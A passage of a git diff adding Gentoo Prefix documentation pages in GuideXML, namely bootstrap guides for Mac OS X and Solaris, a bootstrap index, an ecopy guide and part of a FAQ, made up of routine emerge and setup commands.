+            4.2.1</e>, the latest binutils-apple needs to be emerged,
+          otherwise, version should report <e>4.0.1</e> and
+          <c>=binutils-apple-3.2</c> must be emerged.
+        </p>
+        <pre caption="emerge linker">
+$ <i>emerge --oneshot --nodeps "=binutils-apple-3.2"</i> (for gcc 4.0.1)
+$ <i>emerge --oneshot --nodeps binutils-apple-3.2</i>    (for gcc 4.2.1)
+        </pre>
+        <p>
+          Now continue with the compiler.
+        </p>
+        <pre caption="emerge compiler">
+$ <i>emerge --oneshot --nodeps gcc-config</i>
+$ <i>emerge --oneshot --nodeps gcc-apple</i>
+        </pre>
+        <p>
+          We continue getting more tools in our Prefix.  We no longer
+          ignore dependencies all the time, so a lot of packages will be
+          emerged at this stage.  Slowly our Prefix gets more robust as
+          we progress here.
+        </p>
+        <pre caption="emerge several tools">
+$ <i>emerge --oneshot coreutils</i>
+$ <i>emerge --oneshot findutils</i>
+$ <i>emerge --oneshot tar</i>
+$ <i>emerge --oneshot grep</i>
+$ <i>emerge --oneshot patch</i>
+$ <i>emerge --oneshot gawk</i>
+$ <i>emerge --oneshot make</i>
+$ <i>emerge --oneshot --nodeps file</i>
+$ <i>emerge --oneshot --nodeps eselect</i>
+        </pre>
+        <p>
+          Now we have a good bunch of programs that Portage needs, we
+          can replace the bootstrapped Portage by a properly installed
+          one, using Portage itself.  Also here a few dependencies are
+          first emerged, such as the language Portage is written in:
+          <c>python</c>.  We need to temporarily tell Portage that the
+          bootstrapped Portage can be overwritten.
+        </p>
+        <pre caption="emerge portage">
+$ <i>env FEATURES="-collision-protect" emerge --oneshot portage</i>
+        </pre>
+        <p>
+          Now we have emerged everything we bootstrapped before, we
+          remove the temporary directory and its use as it is no longer
+          necessary.
+        </p>
+        <pre caption="remove tmp directory">
+$ <i>rm -Rf $EPREFIX/tmp/*</i>
+$ <i>hash -r</i>
+        </pre>
+        <p>
+          Before we do any further merges, we are going to update our
+          tree.  Updating the tree is done using:
+        </p>
+        <pre caption="Updating the tree">
+$ <i>emerge --sync</i>
+        </pre>
+        <p>
+          Next, we let Portage emerge all packages that complete a
+          system install that we eventually need to finalise this Prefix
+          installation.
+        </p>
+        <pre caption="emerge system">
+$ <i>emerge -u system</i>
+        </pre>
+        <p>
+          Now is a good time to set the preferences for our soon to be
+          Prefix.  This includes customisations such as general
+          <c>USE</c>-flags, <c>CFLAGS</c> and <c>MAKEOPTS</c> in
+          <path>$EPREFIX/etc/make.conf</path>.  Be conservative with
+          <c>CFLAGS</c>!  Note that the code below is an example, and is
+          meant for inspiration only.
+        </p>
+        <pre caption="Customising the Prefix installation - example">
+$ <i>echo 'USE="unicode nls"' >> $EPREFIX/etc/make.conf</i>
+$ <i>echo 'CFLAGS="-O2 -pipe &lt;my-cpu-flags&gt;"' >> $EPREFIX/etc/make.conf</i>
+$ <i>echo 'CXXFLAGS="${CFLAGS}"' >> $EPREFIX/etc/make.conf</i>
+        </pre>
+        <note>
+          You have to replace <c>&lt;my-cpu-flags&gt;</c> with something
+          that matches your CPU.
+          Intel-based Mac users (e.g. MacBook, CoreDuo) should at least
+          have <c>-march=prescott</c> here to avoid compilation errors
+          due to SSE instructions not being enabled.  Core2Duo users can
+          use <c>-march=nocona</c>.  PPC users can use their CPU's alias
+          to enable CPU specific tuning, e.g.  <c>-mcpu=G5
+            -mtune=G5</c>.
+        </note>
+        <p>
+          Since we have everything in place for a self-catered rebuild,
+          we can start the final stage to install the Prefix system.
+          This final stage recompiles everything in the system, but now
+          all packages can be compiled with tools from the Prefix,
+          instead of those from the host system.
+        </p>
+        <pre caption="doing the final system installation">
+$ <i>emerge -e system</i>
+        </pre>
+        <p>
+          After <c>system</c> has emerged successfully, your Prefix will
+          be set up properly, and you can emerge the whichever tools you
+          choose from the Prefix tree.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Using the Prefix -->
+      <title>Using the Prefix</title>
+      <body>
+        <p>
+          To use your bootstrapped Prefix environment, you best start a
+          shell from the Prefix, such that your path and other
+          environment variables are set correctly.  To facilitate in
+          this, a small helper script can be created by the bootstrap
+          script.
+        </p>
+        <pre caption="Creating a start-script">
+$ <i>cd $EPREFIX/usr/portage/scripts</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX startscript</i>
+        </pre>
+        <p>
+          After running this, a script <c>startprefix</c> will be
+          present in <c>$EPREFIX</c>.  You can freely move the script to
+          e.g. your homedir for convenience.  Running the script will
+          drop you into a Prefix shell, where for example <c>emerge</c>
+          is directly at your disposal.  Enjoy your Prefix!
+        </p>
+      </body>
+    </section>
+
+  </chapter>
+
+</guide>
+
+<!-- vim: set expandtab ts=2 sw=2 foldmethod=marker foldenable spell spelllang=en_gb: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-solaris.xml b/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-solaris.xml
new file mode 100644
index 00000000..4bfa924d
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-solaris.xml
@@ -0,0 +1,306 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap-solaris.xml,v 1.58 2010/07/03 13:21:33 grobian Exp $ -->
+
+<guide link="/proj/en/gentoo-alt/prefix/bootstrap-solaris.xml" lang="en">
+  <title>Gentoo Prefix Bootstrap Process for Solaris</title>
+  
+
+  <author title="Author">
+    <mail link="grobian@gentoo.org">Fabian Groffen</mail>
+  </author>
+
+  <abstract>
+    How to bootstrap Gentoo Prefix on your Solaris system
+  </abstract>
+
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.37</version>
+  <date>2010-07-03</date>
+
+  <chapter>
+    <title>Bootstrapping on Solaris</title>
+
+    <section><!-- {{{ Introduction -->
+      <title>Introduction</title>
+      <body>
+        <p>
+          Bootstrapping on Solaris 10 and higher is relatively simple if you
+          compare it to versions below 10.  It comes with bash3 and a
+          gcc-3.4.3 compiler by default, and with the download manager
+          wget.  If you still are in the process of installing Solaris,
+          make sure you install wget, to make things easier later on.
+        </p>
+        <p>
+          Though being relatively simple, Solaris is one of the more
+          "Spartan" platforms to bootstrap on, and for sure not as easy
+          as for instance a Linux distribution or Mac OS X.  However,
+          don't despair when things go wrong, it's just known to be
+          hard(er), but not impossible.  Feel free to ask in the
+          <c>gentoo-prefix</c> IRC channel, or mailing list.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Bootstrapping -->
+      <title>Bootstrapping</title>
+      <body>
+        <p>
+          As prerequisite, you have to have <c>gcc</c> and <c>wget</c>
+          installed.  If you didn't install <c>wget</c>, you have to
+          acquire the necessary files in another way, e.g. via a brower,
+          NFS, or <c>scp</c>.
+        </p>
+        <note>
+          <c>wget</c> and <c>gcc</c> are usually located in
+          <path>/usr/sfw/bin</path>.
+        </note>
+        <p>
+          The first step is to choose a path to install into.  We refer
+          to this path as "Prefix path", stored in the variable
+          <c>EPREFIX</c>.  Some suggestion for your Prefix path is
+          <path>$HOME/gentoo</path>.
+          Whatever you chose, make sure you set it in your environment:
+        </p>
+        <pre caption="Export EPREFIX variable">
+$ <i>export EPREFIX="$HOME/gentoo"</i>
+        </pre>
+        <note>
+          tcsh users can use <c>setenv EPREFIX "$HOME/gentoo"</c>
+          instead.
+        </note>
+        <p>
+          Next, add the following paths in your soon to be Prefix to
+          your <c>PATH</c> environment.
+          <path>$EPREFIX/bin</path>,
+          <path>$EPREFIX/usr/bin</path>,
+          <path>$EPREFIX/tmp/bin</path> and
+          <path>$EPREFIX/tmp/usr/bin</path>.
+          Adding these paths makes sure that they will be available
+          later on in the process.
+          Additionally, you need the following paths to find the gnu
+          compiler, linker, make and some other tools:
+          <path>/usr/sfw/bin</path>,
+          <path>/usr/sfw/&lt;arch&gt;-sun-solaris&lt;version&gt;/bin</path>,
+          <path>/usr/bin</path> and <path>/bin</path>.
+        </p>
+        <pre caption="Add Prefix and utility paths to your PATH on Solaris 10/x86">
+$ <i>export PATH="$EPREFIX/usr/bin:$EPREFIX/bin:$EPREFIX/tmp/usr/bin:$EPREFIX/tmp/bin:/usr/sfw/bin:/usr/sfw/i386-sun-solaris2.10/bin:/usr/bin:/bin"</i>
+        </pre>
+        <note>
+          Solaris on Sparc users need <e>sparc</e> for
+          <c>&lt;arch&gt;</c> instead of <e>i386</e>.
+          Solaris 11 users need <e>2.11</e> for
+          <c>&lt;version&gt;</c> instead of <e>2.10</e>.
+        </note>
+        <p>
+          If you want to end up with a 64-bits native Prefix
+          installation, then set your <c>CHOST</c> variable accordingly
+          to either <c>x86_64-pc-solaris2.10</c> or
+          <c>sparcv9-sun-solaris2.10</c> for Solaris 10.  You
+          <e>only</e> need to do this if you want a 64-bits native
+          Prefix!
+        </p>
+        <p>
+          Now the path is set, start with downloading the bootstrap
+          script from
+          <uri>http://overlays.gentoo.org/proj/alt/browser/trunk/prefix-overlay/scripts/bootstrap-prefix.sh?format=txt</uri>.
+          From the directory where the bootstrap script was stored execute
+          the following commands:
+        </p>
+        <pre caption="Use the bootstrap script">
+$ <i>chmod 755 bootstrap-prefix.sh</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX tree</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp make</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp wget</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp sed</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp python</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp coreutils</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp findutils3</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp tar</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp patch</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp grep</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp gawk</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp bash</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX/tmp zlib</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX portage</i>
+        </pre>
+        <note>
+          Please note that <c>wget</c>, <c>sed</c>, <c>python</c>, etc.
+          are installed in <path>$EPREFIX/tmp</path>!
+        </note>
+        <p>
+          The script will setup the <path>$EPREFIX</path>
+          directory, download a portage tree snapshot, unpack it and
+          download and install portage.  Afterwards it will try to setup
+          some sane defaults.
+          Because we installed some new applications, we will instruct
+          bash to reconsider all paths we have:
+        </p>
+        <pre caption="rehash in bash">
+$ <i>hash -r</i>
+        </pre>
+        <note>
+          tcsh users can use the <c>rehash</c> command.
+        </note>
+        <p>
+          We continue adding some necessary tools which will deal with
+          many errors and warnings you might see during emerging.
+        </p>
+        <pre caption="emerge sed">
+$ <i>emerge --oneshot sed</i>
+        </pre>
+        <p>
+          Next, we emerge the <c>bash</c> shell Portage heavily relies
+          on.  The same holds for <c>wget</c>, the download manager.
+          Since its dependencies cannot be compiled at this stage,
+          we ignore those for the moment.
+        </p>
+        <pre caption="emerge bash and wget">
+$ <i>emerge --oneshot --nodeps bash</i> (avoid deps that install scripts with shebang /bin/sh)
+$ <i>emerge --oneshot wget</i>
+        </pre>
+        <note>
+          It is safe to ignore the "1 config files in XXX need updating"
+          message that appears till the end of the bootstrap process.
+        </note>
+        <p>
+          Now, we will emerge a compiler which will use the gnu linker.
+          This is a requirement for many packages that follow in the
+          bootstrap process, in particular Perl.  The gcc compiler
+          shipped by Sun uses the Solaris native linker, which is as
+          "Spartan" as the whole system.  The packages to emerge include
+          the <c>baselayout</c> package.  Some, if not many, scripts and
+          tools within a Gentoo system assume the availability of the
+          <c>baselayout</c> package for all communication using the
+          Gentoo colour scheme.
+        </p>
+        <pre caption="emerge linker and compiler">
+$ <i>emerge --oneshot --nodeps baselayout-prefix</i>
+$ <i>emerge --oneshot --nodeps xz-utils</i>
+$ <i>emerge --oneshot --nodeps m4</i>
+$ <i>emerge --oneshot --nodeps flex</i>
+$ <i>emerge --oneshot --nodeps bison</i>
+$ <i>emerge --oneshot --nodeps binutils-config</i>
+$ <i>emerge --oneshot --nodeps binutils</i>
+$ <i>emerge --oneshot --nodeps gcc-config</i>
+$ <i>emerge --oneshot --nodeps "=gcc-4.2*"</i>
+        </pre>
+        <p>
+          We continue getting more tools in our Prefix.  We no longer
+          ignore dependencies all the time, so a lot of packages will be
+          emerged at this stage.  Slowly our Prefix gets more robust as
+          we progress here.
+        </p>
+        <pre caption="emerge several tools">
+$ <i>emerge --oneshot coreutils</i>
+$ <i>emerge --oneshot findutils</i>
+$ <i>emerge --oneshot tar</i>
+$ <i>emerge --oneshot grep</i>
+$ <i>emerge --oneshot patch</i>
+$ <i>emerge --oneshot gawk</i>
+$ <i>emerge --oneshot make</i>
+$ <i>emerge --oneshot --nodeps file</i>
+$ <i>emerge --oneshot --nodeps eselect</i>
+$ <i>emerge --oneshot pax-utils</i>
+        </pre>
+        <p>
+          Now we have a good bunch of programs that Portage needs, we
+          can replace the bootstrapped Portage by a properly installed
+          one, using Portage itself.  Also here a few dependencies are
+          first emerged, such as the language Portage is written in:
+          <c>python</c>.  We need to temporarily tell Portage that the
+          bootstrapped Portage can be overwritten.
+        </p>
+        <pre caption="emerge portage">
+$ <i>env FEATURES="-collision-protect" emerge --oneshot portage</i>
+        </pre>
+        <p>
+          Now we have emerged everything we bootstrapped before, we
+          remove the temporary directory and its use as it is no longer
+          necessary.
+        </p>
+        <pre caption="remove tmp directory">
+$ <i>rm -Rf $EPREFIX/tmp/*</i>
+$ <i>hash -r</i>
+        </pre>
+        <p>
+          Before we do any further merges, we are going to update our
+          tree.  Updating the tree is done using:
+        </p>
+        <pre caption="Updating the tree">
+$ <i>emerge --sync</i>
+        </pre>
+        <p>
+          Next, we let Portage emerge all packages that complete a
+          system install that we eventually need to finalise this Prefix
+          installation.
+        </p>
+        <pre caption="emerge system">
+$ <i>emerge -u system</i>
+        </pre>
+        <p>
+          Now is a good time to set the preferences for our soon to be
+          Prefix.  This includes customisations such as general
+          <c>USE</c>-flags, <c>CFLAGS</c> and <c>MAKEOPTS</c> in
+          <path>$EPREFIX/etc/make.conf</path>.  Be conservative with
+          <c>CFLAGS</c>!  Note that the code below is an example, and is
+          meant for inspiration only.
+        </p>
+        <pre caption="Customising the Prefix installation - example">
+$ <i>echo 'USE="unicode nls"' >> $EPREFIX/etc/make.conf</i>
+$ <i>echo 'CFLAGS="-O2 -pipe"' >> $EPREFIX/etc/make.conf</i>
+$ <i>echo 'CXXFLAGS="${CFLAGS}"' >> $EPREFIX/etc/make.conf</i>
+        </pre>
+        <p>
+          Since we have everything in place for a self-catered rebuild,
+          we can start the final stage to install the Prefix system.
+          This final stage recompiles everything in the system, but now
+          all packages can be compiled with tools from the Prefix,
+          instead of those from the host system.
+        </p>
+        <pre caption="doing the final system installation">
+$ <i>emerge -e system</i>
+        </pre>
+        <p>
+          After <c>system</c> has emerged successfully, your Prefix will
+          be set up properly, and you can emerge the whichever tools you
+          choose from the Prefix tree.
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Using the Prefix -->
+      <title>Using the Prefix</title>
+      <body>
+        <p>
+          To use your bootstrapped Prefix environment, you best start a
+          shell from the Prefix, such that your path and other
+          environment variables are set correctly.  To facilitate in
+          this, a small helper script can be created by the bootstrap
+          script.
+        </p>
+        <pre caption="Creating a start-script">
+$ <i>cd $EPREFIX/usr/portage/scripts</i>
+$ <i>./bootstrap-prefix.sh $EPREFIX startscript</i>
+        </pre>
+        <p>
+          After running this, a script <c>startprefix</c> will be
+          present in <c>$EPREFIX</c>.  You can freely move the script to
+          e.g. your homedir for convenience.  Running the script will
+          drop you into a Prefix shell, where for example <c>emerge</c>
+          is directly at your disposal.  Enjoy your Prefix!
+        </p>
+      </body>
+    </section>
+
+  </chapter>
+
+</guide>
+
+<!-- vim: set expandtab ts=2 sw=2 foldmethod=marker foldenable spell spelllang=en_gb: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap.xml b/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap.xml
new file mode 100644
index 00000000..584f785f
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap.xml
@@ -0,0 +1,111 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/prefix/bootstrap.xml,v 1.45 2010/01/07 21:22:51 fauli Exp $ -->
+
+<guide link="/proj/en/gentoo-alt/prefix/bootstrap.xml" lang="en">
+  <title>Gentoo Prefix Bootstrap Process</title>
+  
+
+  <author title="Author">
+    <mail link="grobian@gentoo.org">Fabian Groffen</mail>
+  </author>
+
+  <abstract>
+    How to bootstrap Gentoo Prefix on your system
+  </abstract>
+
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.9</version>
+  <date>2010-01-07</date>
+
+  <chapter>
+    <title>Bootstrapping in general</title>
+
+    <section><!-- {{{ Global -->
+      <title>Global</title>
+      <body>
+
+        <p>
+          Bootstrapping is the process required to get Prefixed Portage
+          installed on your system.  Currently, we only have detailed
+          guides for Mac OS X and Solaris systems.  If you have another
+          system, you best go with the Solaris guide.  Systems known to
+          work are various Linux systems and FreeBSD.  Note that for
+          systems where <c>bash</c> is missing, you need to bootstrap it
+          first with the <c>bootstrap-bash.sh</c> script.  It can be
+          found next to <c>bootstrap-prefix.sh</c> as indicated by the
+          guides.  Windows users can get directly up to speed using the
+          Interix installers.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ bootstrap script -->
+      <title>Bootstrap script</title>
+      <body>
+
+        <p>
+          The <c>bootstrap-prefix.sh</c> script is a sort of kickstart
+          in the bootstrap process.  It automates downloading the
+          portage tree, installing portage and the necessary temporary
+          helper applications.  In addition it tries to setup a profile
+          and some settings where it can.
+        </p>
+
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ Targets -->
+      <title>Targets</title>
+      <body>
+
+        <p>
+          Choose one of the bootstrap targets below, to start
+          bootstrapping your system.
+        </p>
+
+        <ul>
+          <li>
+            <uri link="bootstrap-macos.xml">
+              Bootstrap process for Mac OS X users
+            </uri>
+          </li>
+          <li>
+            <uri link="bootstrap-solaris.xml">
+              Bootstrap process for Solaris 10 users
+            </uri>
+          </li>
+          <li>
+            <uri link="bootstrap-freebsd.xml">
+              Bootstrap process for FreeBSD 8.0 users
+            </uri>
+          </li>
+          <li>
+            <uri link="http://distfiles.gentoo.org/experimental/prefix/x86-interix/">
+              ISO images and Documentation for the Windows (Interix)
+              port of Gentoo Prefix
+            </uri>
+          </li>
+<!--
+this is non-supported, non-working garbage currently
+          <li>
+            <uri link="bootstrap-linux.xml">
+              Bootstrap process for Linux users
+            </uri>
+          </li>
+-->
+        </ul>
+
+      </body>
+    </section><!-- }}} -->
+
+  </chapter>
+</guide>
+
+<!-- vim: set expandtab ts=2 sw=2 foldmethod=marker foldenable: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/ecopy.xml b/xml/htdocs/proj/en/gentoo-alt/prefix/ecopy.xml
new file mode 100644
index 00000000..3f7141d8
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/ecopy.xml
@@ -0,0 +1,174 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/prefix/ecopy.xml,v 1.5 2009/08/02 00:14:48 darkside Exp $ -->
+
+<guide link="/proj/en/gentoo-alt/prefix/ecopy.xml" lang="en">
+  <title>Importing ebuilds in Gentoo Prefix</title>
+
+  <author title="Author">
+    <mail link="darkside@gentoo.org">Jeremy Olexa</mail>
+  </author>
+
+  <abstract>
+    How to import ebuilds from main Gentoo into Gentoo Prefix
+  </abstract>
+
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.2</version>
+  <date>2009-08-01</date>
+
+  <chapter>
+    <title>Importing ebuilds with ecopy</title>
+
+    <section><!-- {{{ introduction -->
+      <title>Introduction</title>
+      <body>
+        <p>
+          Ebuilds for Gentoo Prefix need some minor modifications from
+          those that exist in the "regular" Gentoo tree (known as the
+          gentoo-x86 tree).  Spelling out those modifications is out of
+          scope for this document, feel free to browse here:
+          <uri>http://www.gentoo.org/proj/en/gentoo-alt/prefix/techdocs.xml</uri>
+        </p>
+      </body>
+    </section><!-- }}} -->
+
+    <section><!-- {{{ ecopy -->
+      <title>The ecopy script</title>
+      <body>
+        <p>
+          <c>ecopy</c> is a script created by the Gentoo Prefix team, and
+          located in <c>${EPREFIX}/usr/portage/scripts</c>.  Its intention is
+          to  save people time and is mainly a wrapper for other scripts
+          which will be discussed later. Its usage can be described by
+          running: <c>ecopy</c> (without options).
+        </p>
+        <p><c>ecopy</c> expects the following:</p>
+        <ul>
+          <li>
+            Expects to be ran from the root of your overlay If you do
+            not know about overlays then please see:
+			<uri>http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml?part=2&amp;chap=1#doc_chap6</uri>.
+          </li>
+          <li>
+            Expects to have one and only one valid category and package
+            as an argument. It should be in the form of "/" ie.
+            <c>app-office/openoffice</c>.
+          </li>
+          <li>
+            Expects an up-to-date Prefix tree to reliably have the
+            latest scripts.
+          </li>
+        </ul>
+        <p>
+          The use of <c>ecopy</c> is best explained by a simple example.
+        </p>
+        <pre caption="ecopy example">
+% <i>cd "${EPREFIX}"/usr/local/portage/my-overlay</i>
+% <i>ecopy app-office/openoffice</i>
+openoffice-3.1.0-r1.ebuild
+2009-08-01 18:41:23 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/ChangeLog [98520/98520] -> "ChangeLog" [1]
+2009-08-01 18:41:23 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/metadata.xml [704/704] -> "metadata.xml" [1]
+2009-08-01 18:41:24 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/Manifest [17937/17937] -> "Manifest" [1]
+2009-08-01 18:41:24 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/openoffice-3.1.0-r1.ebuild [13564/13564] -> "openoffice-3.1.0-r1.ebuild" [1]
+2009-08-01 18:41:25 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/files/gentoo-3.1.0.diff [173/173] -> "files/gentoo-3.1.0.diff" [1]
+2009-08-01 18:41:25 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/files/ooo-env_log.diff [617/617] -> "files/ooo-env_log.diff" [1]
+2009-08-01 18:41:25 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/files/base64.diff [770/770] -> "files/base64.diff" [1]
+2009-08-01 18:41:25 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/files/buildfix-gcc44.diff [611/611] -> "files/buildfix-gcc44.diff" [1]
+2009-08-01 18:41:25 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/files/solenv.workaround-for-the-kde-mess.diff [17556/17556] -> "files/solenv.workaround-for-the-kde-mess.diff" [1]
+2009-08-01 18:41:26 URL:http://tinderbox.dev.gentoo.org/portage/app-office/openoffice/files/xulrunner-1.9.1.diff [325/325] -> "files/xulrunner-1.9.1.diff" [1]
+Processing openoffice-3.1.0-r1.ebuild
+  replacing ${D} -> ${ED} ... 2 occurences
+  replacing ${ROOT} -> ${EROOT} ... not found
+Processing openoffice-3.1.0-r1.ebuild ... ~amd64-linux ~x86-linux
+openoffice-3.1.0-r1.ebuild
+>>> Creating Manifest for usr/local/portage/my-overlay/app-office/openoffice
+&lt;snip for brevity&gt;</pre>
+        <p>
+          What is <c>ecopy</c> doing? In that above code snippet,
+          <c>ecopy</c> first directly downloads the required files from
+          <c>tinderbox.dev.gentoo.org</c>. Then, <c>ecopy</c>
+          runs <c>eapify</c> on the ebuild. <c>eapify</c> basically
+          does the needed gentoo-x86 -&gt; Prefix conversion.  This can
+          generally be automated and works right the first time about
+          85% of the time.  After <c>eapify</c>, some keyword cleanup is
+          done by <c>ecleankw</c> to make it match the Prefix keywords.
+          The Prefix keywords are more strictly defined than those of
+          the gentoo-x86 tree.  For more information on that see <uri
+            link="http://www.gentoo.org/proj/en/glep/glep-0053.html">GLEP
+            53</uri>. Last, <c>ecopy</c> re-digests the ebuild to
+          accommodate any changes.  Let it be known that you can do all
+          this manually as well because <c>ecopy</c> is just a wrapper script in
+          itself.
+        </p>
+        <p>
+          While <c>eapfiy</c> (the tool that does the actual
+          transformation of the ebuild) succeeds doing its job in many
+          cases, it cannot be trusted to always do the right thing.
+          Common mistakes made by <c>eapify</c> are related to either
+          adding or omission of the <c>${EPREFIX}</c> for some component
+          in the ebuild. <c>eapify</c> doesn't catch all instances of
+          what needs to be changed. If there is e.g. any path hardcoded
+          in the configure call you will need to prepend
+          <c>${EPREFIX}</c> to it.  Also, <c>${D}</c> can be improperly
+          expanded to <c>${ED}</c> in certain cases.  Manual review is
+          always necessary.  For more details on these issues see the
+          <e>Ebuild modifications</e> chapter of the <uri
+            link="http://www.gentoo.org/proj/en/gentoo-alt/prefix/techdocs.xml#doc_chap2">Gentoo
+            Prefix Techdocs</uri> page.
+        </p>
+      </body>
+    </section><!-- }}} -->
+    </chapter>
+    
+	<chapter>
+      <title>Bug Reporting</title>
+	<section>
+      <body>
+      <p>
+      Great, your package works...now what? The Gentoo Prefix team relies on
+      users submitting bug reports stating if a new package works. We simply do
+      not have the man power to get to our goal of having most of the packages
+      in the Prefix tree without your help.
+      </p>
+      <p>
+      When submitting bug reports, please follow these guidelines:
+      </p>
+      <ul>
+        <li>
+        Use the "Gentoo/Alt" Product with the "Prefix Support" component.
+        </li>
+        <li>
+        Include the method of your porting efforts. Did you use ecopy, manually,
+        etc.
+        </li>
+        <li>
+        Include which changes you made *after* ecopy, preferably using a 
+        diff -u
+        </li>
+        <li>
+        Include which patches you added, preferably attached uncompressed, not
+        bundled with anything else.
+        </li>
+        <li>
+        Include emerge --info, or at least what ARCH you are on. Otherwise, we
+        will commit the package and have to re-visit it to add your arch.
+        </li>
+        <li>
+        Do not submit reports about <c>ecopy</c> not porting your package
+        correctly, it is a best effort script only! Manual work probably is
+        needed.
+        </li>
+      </ul>
+      </body>
+	  </section>
+	  </chapter>
+
+</guide>
+
+<!-- vim: set expandtab ts=2 sw=2 foldmethod=marker foldenable: -->
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/gentoo-alt/prefix/faq.xml b/xml/htdocs/proj/en/gentoo-alt/prefix/faq.xml
new file mode 100644
index 00000000..6adf2a6a
--- /dev/null
+++ b/xml/htdocs/proj/en/gentoo-alt/prefix/faq.xml
@@ -0,0 +1,206 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gentoo-alt/prefix/faq.xml,v 1.5 2010/02/04 16:29:54 grobian Exp $: -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="/proj/en/gentoo-alt/prefix/faq.xml" lang="us">
+<title>Frequently Asked questions about the Gentoo Prefix Project</title>
+
+<author title="Author">
+  <mail link="darkside@gentoo.org">Jeremy Olexa</mail>
+</author>
+<abstract>
+This guide covers questions frequently asked by users of Gentoo Prefix
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2010-02-04</date>
+
+<chapter>
+<title>Gentoo Prefix Frequently Asked Questions</title>
+  <section>
+    <title>How can I contribute?</title>
+    <body>
+    <p>
+    Due to the depth of the Gentoo Prefix project, we really like to have users
+    become involved. It helps us immensely. Here are some possibilities:
+  	</p>
+    <ul>
+      <li>
+      Report bugs! Unreported bugs are very bad for the health of the
+      project, please do report bugs
+      </li>
+      <li>
+      Report working packages that you may have <uri
+      link="http://www.gentoo.org/proj/en/gentoo-alt/prefix/ecopy.xml">imported</uri>
+      </li>
+      <li>
+      Test packages - We cannot make sure that every package on every arch works
+      by ourselves.
+      </li>
+      <li>
+      Bootstrapping must always work, rebootstrapping often and reporting issues
+      would benefit all and you might learn something as well.
+      </li>
+    </ul>
+    </body>
+  </section>
+
+  <section>
+  <title>I made a fix, what is the best way to report this?</title>
+  <body>
+  <p>
+  The absolute best way to report fixes is through <uri
+  link="https://bugs.gentoo.org/">Gentoo's Bugzilla.</uri> Use the
+  "Gentoo/Alt" Product with the "Prefix Support" component, or click <uri
+  link="https://bugs.gentoo.org/enter_bug.cgi?product=Gentoo%2FAlt">here</uri>.
+  The second best way is to report them on the gentoo-alt <uri
+  link="http://www.gentoo.org/main/en/lists.xml">mailing list</uri>, however, 
+  items may get forgotten or overlooked on the mailing list. Finally, you may
+  report items in irc, but be sure you are speaking to a Gentoo Prefix
+  developer, otherwise it is likely to not be noticed.
+  </p>
+  </body>
+  </section>
